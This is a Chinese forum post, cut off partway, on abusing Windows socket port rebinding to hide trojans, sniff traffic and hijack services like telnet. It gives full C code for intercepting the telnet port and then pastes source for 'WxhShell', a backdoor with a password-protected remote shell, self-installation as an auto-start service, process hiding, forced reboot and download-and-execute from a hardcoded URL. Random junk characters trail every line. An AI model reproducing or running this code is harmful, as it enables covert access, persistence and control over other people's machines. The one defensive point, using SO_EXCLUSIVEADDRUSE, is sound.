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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p6;OL@ \~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k |eBJ%  
2AMo:Jqv  
  saddr.sin_family = AF_INET; u:=7l  
q^Y-}=w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VIv&ofyAR  
<ZNzVnVA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RS8Hf~0G  
\SB c;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >k (C  
N<XNTf  
  这意味着什么?意味着可以进行如下的攻击: E"5*Ei)^3  
U H*r5o3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d~i+ I5  
NfjE`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K~R`%r_  
>Z'NXha  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 / G7vwC  
 |'B7v i)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .=s&EEF  
;IZwTXu!S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c}2jmwq  
eQ]~dA8>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `~By)?cT_>  
/w}u3|L$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~5}* d  
De'_SD|=  
  #include L6|oyf  
  #include ppVHLrUh  
  #include ;EP:o%r  
  #include    w|K'M?N14  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oYH^_V  
  int main() ,Ge"anO  
  { z?R|Ok  
  WORD wVersionRequested; ` 2V19 s]  
  DWORD ret; oYm[V<nIl  
  WSADATA wsaData; |l]XpWV  
  BOOL val; [q8 P~l  
  SOCKADDR_IN saddr; )QU  
  SOCKADDR_IN scaddr; rE.;g^4p  
  int err; RwpdRBb  
  SOCKET s; D$I5z.a  
  SOCKET sc; b?tB(if!I  
  int caddsize; j}.\]$J  
  HANDLE mt; `xqr{lhL  
  DWORD tid;   >JFO@O5  
  wVersionRequested = MAKEWORD( 2, 2 ); 5>D>% iaHv  
  err = WSAStartup( wVersionRequested, &wsaData ); Q7jb'y$ozO  
  if ( err != 0 ) { B#Vz#y  
  printf("error!WSAStartup failed!\n"); {#?N  
  return -1;  Ac2n  
  } {Tq_7,8  
  saddr.sin_family = AF_INET; LnH?dy  
   CYY=R'1:G{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $QLcH;+7t  
8 Hg+H=?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2fn&#kw/  
  saddr.sin_port = htons(23); 0=2@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b*c*r dTx  
  { *zb Nd:i9  
  printf("error!socket failed!\n"); |B.Y6L6l  
  return -1; P-yjN  
  } <7/R,\Wg~  
  val = TRUE; 7QiIiWqIWC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `ZyI!"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YIQ 4t  
  { e> e}vZlX  
  printf("error!setsockopt failed!\n"); @#T|Y&  
  return -1; $_"'&zQ'  
  } 7q?, ?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3Q.#c,`jV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FWrX3i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n|9-KTe7|*  
a|t$l=|DD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R3gdLa.  
  { 'YmIKIw  
  ret=GetLastError(); qr"3y  
  printf("error!bind failed!\n"); G\2 CR*  
  return -1; gmw|H?]  
  } {Aw#?#GPW  
  listen(s,2); @E7DyU|  
  while(1) J\twZ>w~0  
  { [%y';`( x  
  caddsize = sizeof(scaddr); [=6]+V83M  
  //接受连接请求 Cjm`|~&e+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *2p t%eav  
  if(sc!=INVALID_SOCKET) Rr&h!YMb  
  { o=1Uh,S3R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]!?;@$wx  
  if(mt==NULL) md)c0Bg8~  
  { ;DqWh0  
  printf("Thread Creat Failed!\n"); +h|`/ &,  
  break; _{I3i:f9X8  
  } +"\sc;6m.  
  } fInb[  
  CloseHandle(mt); 0L2F[TN  
  } ry`Ho8N  
  closesocket(s); x -WmMfcz&  
  WSACleanup(); <'y?KiphL  
  return 0; cOmw?kA*G  
  }   n9W(bG o  
  DWORD WINAPI ClientThread(LPVOID lpParam) -`*a'p-=  
  { V#2+"(7h  
  SOCKET ss = (SOCKET)lpParam; O,{6*[)@  
  SOCKET sc; GZN ^k+w  
  unsigned char buf[4096]; eVjBGJ=2e  
  SOCKADDR_IN saddr; n4;.W#\  
  long num; }aa'\8  
  DWORD val; ,>bh$|  
  DWORD ret; I667Gz$j5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kJ'!r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :C(=&g<]D  
  saddr.sin_family = AF_INET; ^me-[ 5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u%&`}g  
  saddr.sin_port = htons(23); SD"FErJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yg]-wQrH  
  { M8kPj8}{  
  printf("error!socket failed!\n"); ` 06;   
  return -1; jl4rbzse  
  } K -nF lPm\  
  val = 100; 2J7:\pR^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d[@X%  
  { 9vuyv*-}e  
  ret = GetLastError(); g/ T   
  return -1; | k&Ck  
  } [L3=x;U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hci6P>h<ia  
  { s 1 A.+  
  ret = GetLastError(); N({MPO9  
  return -1; fx41,0;gZq  
  } q(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1-8mFIK  
  { bkOv2tZ  
  printf("error!socket connect failed!\n"); Q3kdlxXR  
  closesocket(sc); y`<*U;xL  
  closesocket(ss); .5^cb%B*  
  return -1; ^n*)7K[  
  } ~8'sBT  
  while(1) -^&<Z 0m  
  { [<Mx2<8f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2%DSUv:H%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vv72x]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x,=&JtKVc  
  num = recv(ss,buf,4096,0); *>Ns_su7W  
  if(num>0) i?p$H0b n  
  send(sc,buf,num,0); ;v}GJ<3  
  else if(num==0) j$M h + 5  
  break; wcrCEX=I>{  
  num = recv(sc,buf,4096,0); -o ^7r@6  
  if(num>0) U$O\f18  
  send(ss,buf,num,0); u 1>2v  
  else if(num==0) k :(SCHf  
  break; \\iQEy<i  
  } =6j&4p `  
  closesocket(ss); R{C(K(5/  
  closesocket(sc); `l\7+0W  
  return 0 ; m( r,Acy6  
  } ak7bJ~)X=  
hi_NOx  
ih58 <Up5  
========================================================== 66g9l9wm(  
`!ob GMTQ<  
下边附上一个代码,,WXhSHELL }s7$7  
zIqU,n|]s  
========================================================== {BP{C=p  
"M<8UE\n  
#include "stdafx.h" d`QN^)F0#  
-R|,9o^  
#include <stdio.h> 6hno)kd{=  
#include <string.h> ;"a=gr  
#include <windows.h> AFq~QXmr)  
#include <winsock2.h> *D'22TO[[!  
#include <winsvc.h> 9 &$y}Y  
#include <urlmon.h> -WY<zJ  
7o7)0l9!  
#pragma comment (lib, "Ws2_32.lib") ew>XrT=Zm  
#pragma comment (lib, "urlmon.lib") ()Y~Q(5ji  
z 9vInf@M  
#define MAX_USER   100 // 最大客户端连接数 3U<cWl@  
#define BUF_SOCK   200 // sock buffer e),q0%5  
#define KEY_BUFF   255 // 输入 buffer ahJ`T*)HY  
!8TlD-ZT/  
#define REBOOT     0   // 重启 MUaq7B_>  
#define SHUTDOWN   1   // 关机 prWk2_D;*  
K?6jXJseb  
#define DEF_PORT   5000 // 监听端口 eQ$Y0qH1E  
!]"@kl%  
#define REG_LEN     16   // 注册表键长度 sfpZc7  
#define SVC_LEN     80   // NT服务名长度 Q)~aiI0  
b:U$x20n$  
// 从dll定义API t;|@o\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xc =Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MU($|hwiL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _('=b/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .eS<Dbku<  
ST|x23|O]  
// wxhshell配置信息 ~k"=4j9  
struct WSCFG { piJu+tUy  
  int ws_port;         // 监听端口 ~Q Oe##  
  char ws_passstr[REG_LEN]; // 口令 F|IAiE  
  int ws_autoins;       // 安装标记, 1=yes 0=no @D]5civm_  
  char ws_regname[REG_LEN]; // 注册表键名 ^ sOQi6pL  
  char ws_svcname[REG_LEN]; // 服务名 =J18eH!]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {JO^ tI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q;B4WL}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h\$$JeSV]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #Vnkvvv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DEBB()6,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 evya7^,F  
3$jT*OyG#  
}; nXaC 3W:"  
+vw\y  
// default Wxhshell configuration qFicBpB  
struct WSCFG wscfg={DEF_PORT, G'nmllB`]  
    "xuhuanlingzhe", j%Y#(Q>  
    1, =Z{O<xw'  
    "Wxhshell", )\1@V+!E%  
    "Wxhshell", '50OgF'  
            "WxhShell Service", ]Oe2JfJwx  
    "Wrsky Windows CmdShell Service", r7RIRg_  
    "Please Input Your Password: ", R8Wr^s>'  
  1, 0%32=k7O[  
  "http://www.wrsky.com/wxhshell.exe", IY_iB*T3jt  
  "Wxhshell.exe" EB0TTJR?#  
    }; 6, ^>mNm  
+=>,Pto<  
// 消息定义模块 M=8.Bp|Ye  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cb@?}(aFl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6`&a&%,O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yjO1 Ol  
char *msg_ws_ext="\n\rExit."; .H escg/S  
char *msg_ws_end="\n\rQuit."; Rm2yPuOU}A  
char *msg_ws_boot="\n\rReboot..."; ~G)S   
char *msg_ws_poff="\n\rShutdown..."; I )~GZ  
char *msg_ws_down="\n\rSave to "; ;d@#XIS&-(  
!`M,XSp(  
char *msg_ws_err="\n\rErr!"; aE Bu *`-j  
char *msg_ws_ok="\n\rOK!"; 9# 23FK  
$r^GE  
char ExeFile[MAX_PATH]; Fh)IgzFj  
int nUser = 0; 48J@C vU  
HANDLE handles[MAX_USER]; ^gN6/>]qrY  
int OsIsNt; @T@< _ ?)  
u^^vB\"^  
SERVICE_STATUS       serviceStatus; JOj;^ h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0B[="rTS7#  
v|Pv 03%?7  
// 函数声明 9d>-MX'  
int Install(void); n|6Ic,:[  
int Uninstall(void); aR[JD2G  
int DownloadFile(char *sURL, SOCKET wsh); uY{|szC^2  
int Boot(int flag); 2\)xpOj  
void HideProc(void); mWv3!i;G<s  
int GetOsVer(void); hM_lsc  
int Wxhshell(SOCKET wsl); 99]R$eT8  
void TalkWithClient(void *cs); 'HO$C, 1]  
int CmdShell(SOCKET sock); kF3k7,.8&  
int StartFromService(void); d .[8c=$  
int StartWxhshell(LPSTR lpCmdLine); #?RU;1)Cw  
b\ X@gq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~]nRV *^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @tF\p  
\|n- O=}=2  
// 数据结构和表定义 8mCxn@yV  
SERVICE_TABLE_ENTRY DispatchTable[] = EHSlK5bD,  
{ .14~J6  
{wscfg.ws_svcname, NTServiceMain}, #F:p-nOq  
{NULL, NULL} zp6C3RG(  
}; af6M,{F  
32(^Te]:  
// 自我安装 oF vfCrd  
int Install(void) &]Q@7Nl7:l  
{ o m!!Sl3  
  char svExeFile[MAX_PATH]; /hpY f]t  
  HKEY key; c|f<u{'  
  strcpy(svExeFile,ExeFile); l\f*d6o  
J; S (>c  
// 如果是win9x系统,修改注册表设为自启动 y3vdUauOn  
if(!OsIsNt) { dR K?~1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y`KqEjsC*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LmRy1T,act  
  RegCloseKey(key); Dxtp2wu%t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S};#+ufgTt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SbcS]H5Sk  
  RegCloseKey(key); .[YuRLGz  
  return 0; !d'GE`w T  
    } D,FHZD t  
  } [.K1i ZyTi  
} X enE^e+9  
else { u]:oZMnj  
{0r0\D>bw  
// 如果是NT以上系统,安装为系统服务 V[mT<Lc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); md+nj{Ib  
if (schSCManager!=0) ;$HftG>B  
{ bkRLC_/d  
  SC_HANDLE schService = CreateService +20G>y=+  
  ( P=qa::A  
  schSCManager, /pm]BC  
  wscfg.ws_svcname, 65L6:}#  
  wscfg.ws_svcdisp, .b_)%jd x  
  SERVICE_ALL_ACCESS, /Jta^Bj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i|c'Lbre`  
  SERVICE_AUTO_START, z Eq GD2"  
  SERVICE_ERROR_NORMAL, XFg 9P}"  
  svExeFile, ~Cbc<[}  
  NULL, q$p%ZefZ  
  NULL, w}L]X1#sF  
  NULL, ^9m\=5d  
  NULL, ; a/X<  
  NULL 'QJ:`)z  
  ); Fiv3 {.  
  if (schService!=0) ~3^ 8>d/  
  { 9FoHD  
  CloseServiceHandle(schService); v>:Ur}u!D  
  CloseServiceHandle(schSCManager); dW)B1iUo!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *lYVY) L  
  strcat(svExeFile,wscfg.ws_svcname); |rY1US)S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AmvEf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iMAfJ-oN  
  RegCloseKey(key); oxC[F*mD  
  return 0; ,ly\Ka?zO  
    } vhe>)h*B  
  } Bz^jw>1b  
  CloseServiceHandle(schSCManager); Gp1?iX?ml  
} l#m#c6;=  
} 8H;t_B  
EtJHR  
return 1; E8!e:l =Q  
} 6 rh5h:  
@u.58H& }R  
// 自我卸载 bG7O  
int Uninstall(void) 2- &k^Gl!:  
{ ?iPC*  
  HKEY key; >x/z7v?^I  
gRrL[z  
if(!OsIsNt) { 9l|@v=gw.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |)nZ^Cc  
  RegDeleteValue(key,wscfg.ws_regname); D~biKrg?=  
  RegCloseKey(key); dOa+(fMe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cU RkP`  
  RegDeleteValue(key,wscfg.ws_regname); a<@1 -j<  
  RegCloseKey(key); dpJ_r>NI  
  return 0; }]e-{C}  
  } <_h~w}  
} 5"^en# ?9  
} 5G::wuxk  
else { VkvB<3  
7_%"BVb"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h xSKG  
if (schSCManager!=0) /rM I"khB  
{ uH/J]zKR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); io _1Y]N  
  if (schService!=0) Qr1"Tk7s  
  { 3cFf#a#  
  if(DeleteService(schService)!=0) { 'w!Cn>  
  CloseServiceHandle(schService); ?: N @!jeJ  
  CloseServiceHandle(schSCManager); <nE>XAI_7  
  return 0; 2w59^"<,  
  } +s(HOq)b  
  CloseServiceHandle(schService); @AG n{q  
  } 0F]>Jby  
  CloseServiceHandle(schSCManager); i8`Vv7LF  
} M|6A0m#Q  
} [.m`+  
Yb +yw_5  
return 1; \wo?47+=  
} H#@^R(  
n.T&}ZPz\v  
// 从指定url下载文件 ,#Iu 7di  
int DownloadFile(char *sURL, SOCKET wsh) %{ABaeb]  
{ d^RxQuA  
  HRESULT hr; YwteZSbp6M  
char seps[]= "/"; `Zf^E >)  
char *token; ~$ng^D  
char *file; J]v%q,"  
char myURL[MAX_PATH]; aIJt0;  
char myFILE[MAX_PATH]; ~5_Ad\n9  
pv*,gSS  
strcpy(myURL,sURL); 18~>ZR  
  token=strtok(myURL,seps); (}a8"]Z  
  while(token!=NULL) 9bP^`\K[N  
  { q-.,nMUF  
    file=token; SNfr"2c'h~  
  token=strtok(NULL,seps); Px$/ _`H  
  } 0TCBQ~"  
+,2:g}5  
GetCurrentDirectory(MAX_PATH,myFILE); plUZ"Tr  
strcat(myFILE, "\\"); M\sN@+  
strcat(myFILE, file); ]+(6,ct&.  
  send(wsh,myFILE,strlen(myFILE),0); mFg<dTx0c8  
send(wsh,"...",3,0); `!XY]PI+e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iJ~Zkd  
  if(hr==S_OK) uZc`jNc\  
return 0; .l>77zM6  
else #z&& M"*a|  
return 1; X*M#FT-  
d p2F  
} #1`-*.u  
d\p,2  
// 系统电源模块 ;gBRCZ  
int Boot(int flag) 0*rQ3Z  
{ N03HQp)g  
  HANDLE hToken; 2r!s*b\Ix  
  TOKEN_PRIVILEGES tkp; Zw*v  
4#ug]X4Y')  
  if(OsIsNt) { 8)O[Aq::  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,RJtm%w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R<[qGt|L  
    tkp.PrivilegeCount = 1; b?TO=~k,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e<=cdze  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $]{k+Jf  
if(flag==REBOOT) { iMIlZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1 y-y6q  
  return 0; /4c\K-Z;  
}  Jd%H2`  
else { Fz1_w$^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f#?fxUH~  
  return 0; N$h{Yvbn  
} &0NFb^8+  
  } 'XZ) !1N  
  else { O$IEn/%+  
if(flag==REBOOT) { F{EnOr`,m=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  TR<<+  
  return 0; .#1~Rz1r  
} 9A} # 6  
else { 0/!dUWdKH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6,d@p  
  return 0; 7]9 a<  
} ]<H&+ &!  
} IqC]!H0  
0}$Hi  
return 1; CACTE  
} Cg&e(  
hvA^n@nr  
// win9x进程隐藏模块 lz"OC<D}(  
void HideProc(void) BlXB7q,  
{ L%Ow#.[C2  
W.dt:_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,17hGKM  
  if ( hKernel != NULL ) >+]_5qc  
  { wW#}:59}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )+}]+xRWGj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p /#$io  
    FreeLibrary(hKernel); Rniq(FA x  
  } NbC@z9Q  
#Yr9AVr}K  
return; jJuW-(/4[  
} BB~OqZIP  
mMb'@  
// 获取操作系统版本 Z7_m)@%;kk  
int GetOsVer(void) W0epAGrB  
{ 4d8B`Fa9  
  OSVERSIONINFO winfo; /RHo1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 qj9&bEy  
  GetVersionEx(&winfo); kMtwiB|7j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UVw~8o9s  
  return 1; O9EKRt  
  else 0TGLM#{  
  return 0; L5#P[cHzz  
} qW!]co  
1E73i_L  
// 客户端句柄模块 !1q 9+e  
int Wxhshell(SOCKET wsl) COW}o~3-4  
{ $:  ]o]a  
  SOCKET wsh; TiYnc3Bz}J  
  struct sockaddr_in client; zgs(Dt;  
  DWORD myID; g>dA$h%  
*M$0J'-BQ  
  while(nUser<MAX_USER) zipS ]YD  
{ =dII- L=`  
  int nSize=sizeof(client); )yTm.F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QNA RkYY~|  
  if(wsh==INVALID_SOCKET) return 1; iMs5zf <M  
yqi^>Ce0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "FTfk  
if(handles[nUser]==0) f. FYR|%tq  
  closesocket(wsh); SE),":aY  
else ``OD.aY^s  
  nUser++; 'bo~%WA]n  
  } XLL/4)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [1F* bI  
1RK=,Wx  
  return 0; Y7vA`kjD-C  
} Gi "941zVl  
'B@e8S) y  
// 关闭 socket Y]L9Y9  
void CloseIt(SOCKET wsh) iVG-_RsKK  
{ ^my].Qpt  
closesocket(wsh); gFHT G  
nUser--; ,4ei2`wV  
ExitThread(0); sO.`x*  
} 4dhvFGlW  
`67[O4$<  
// 客户端请求句柄 6IWxPt ~  
void TalkWithClient(void *cs) {%IExPJ  
{ e_/b2"{  
j{NNSi3  
  SOCKET wsh=(SOCKET)cs; /Wy.>YC|  
  char pwd[SVC_LEN]; 'Er:a?88l  
  char cmd[KEY_BUFF]; z}{afEb  
char chr[1]; #{=;NuP  
int i,j; x-?{E  
:PtF+{N>  
  while (nUser < MAX_USER) { ppFe-wY  
]|sAK%/  
if(wscfg.ws_passstr) {  nv0]05.4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t`+'r}=d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h}]fn A  
  //ZeroMemory(pwd,KEY_BUFF); ~M\I;8ne  
      i=0; 7DIIx}A  
  while(i<SVC_LEN) { jLpc Zb,  
de>v  
  // 设置超时 "R3d+p  
  fd_set FdRead; kI:}| _  
  struct timeval TimeOut; 2'5]~  
  FD_ZERO(&FdRead); vq!_^F<  
  FD_SET(wsh,&FdRead); 7f~Sf  
  TimeOut.tv_sec=8; _L@2_#h!  
  TimeOut.tv_usec=0; ,2j.<g&   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rtL}W__  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .N*Pl(<[  
VMCLHpSfW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ({NAMc*  
  pwd=chr[0]; k iRa+w:  
  if(chr[0]==0xd || chr[0]==0xa) { jiYmb8Q4D  
  pwd=0; %zSuK8kxV  
  break; Vo7dAHHL  
  } !w H'b  
  i++; 8,atX+tc  
    } k<cgO[m   
(XXheC  
  // 如果是非法用户,关闭 socket 8X I?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v$=QA:!U  
} a\%xB >LX  
[p2H=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (I@rLvZr{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iC*F  
EZYBeqv  
while(1) { 8o/}}=m$  
!xwG% {_  
  ZeroMemory(cmd,KEY_BUFF); 6: ]*c[7  
;A'":vXmc  
      // 自动支持客户端 telnet标准   sF7^qrVQP9  
  j=0; NNF>Xa`9,  
  while(j<KEY_BUFF) { oX4q`rt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W,K%c=  
  cmd[j]=chr[0]; _ ib"b#  
  if(chr[0]==0xa || chr[0]==0xd) { ay %KE=*v  
  cmd[j]=0; 7Su#Je]  
  break; /5#rADOS  
  } Q0\0f  
  j++; I"1;|`L~:  
    } 7y`}PMn  
!gLkJ)  
  // 下载文件 0Hs|*:Y1D  
  if(strstr(cmd,"http://")) { !bC+TYsU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3&x-}y~sg  
  if(DownloadFile(cmd,wsh)) \V>?Do7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y $u9%0q|?  
  else Pub0IIs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @w>zF/  
  } up2+ s#  
  else { )9S>Z ZF  
@VN&t:/l  
    switch(cmd[0]) { Lw'9  
  )XfzLF7  
  // 帮助 f""`cdqAOh  
  case '?': { b7/AnSR~Jt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dtPoo\@  
    break; ?+c`]gO7N  
  } vfB2XVc  
  // 安装 )>7%pz  
  case 'i': { `p'Q7m2y/b  
    if(Install()) u4"SH(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3M0+"l(X  
    else hCYQGx0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ICB~_O5  
    break; Kd3?I5t  
    } =V97;kq+v  
  // 卸载 ~dHM4lGY  
  case 'r': { 93IFcmO.H@  
    if(Uninstall()) Og%U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sb".]>^  
    else jxgj,h"}9`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zNSu  
    break; K={qU[_O  
    } qpJ{2Q  
  // 显示 wxhshell 所在路径 >\<*4J$PZ  
  case 'p': { GO! uwo:  
    char svExeFile[MAX_PATH]; Q>qFM9Z  
    strcpy(svExeFile,"\n\r"); CJaKnz  
      strcat(svExeFile,ExeFile); 3ew8m}A{O  
        send(wsh,svExeFile,strlen(svExeFile),0); fU2qrcVu  
    break; JIO$=+p  
    } ~^)^q8  
  // 重启 `A/j1UWJ  
  case 'b': { wzjU,Mw e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .7ayQp  
    if(Boot(REBOOT)) /q\_&@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~n!!jM:N  
    else { M!M!Ni  
    closesocket(wsh); = \ , qP  
    ExitThread(0); :`vP}I ^  
    } 7?"y{R>E  
    break; DZ ^1s~  
    } fR-C0"c  
  // 关机 .wrL3z_  
  case 'd': { n,M)oo1G  
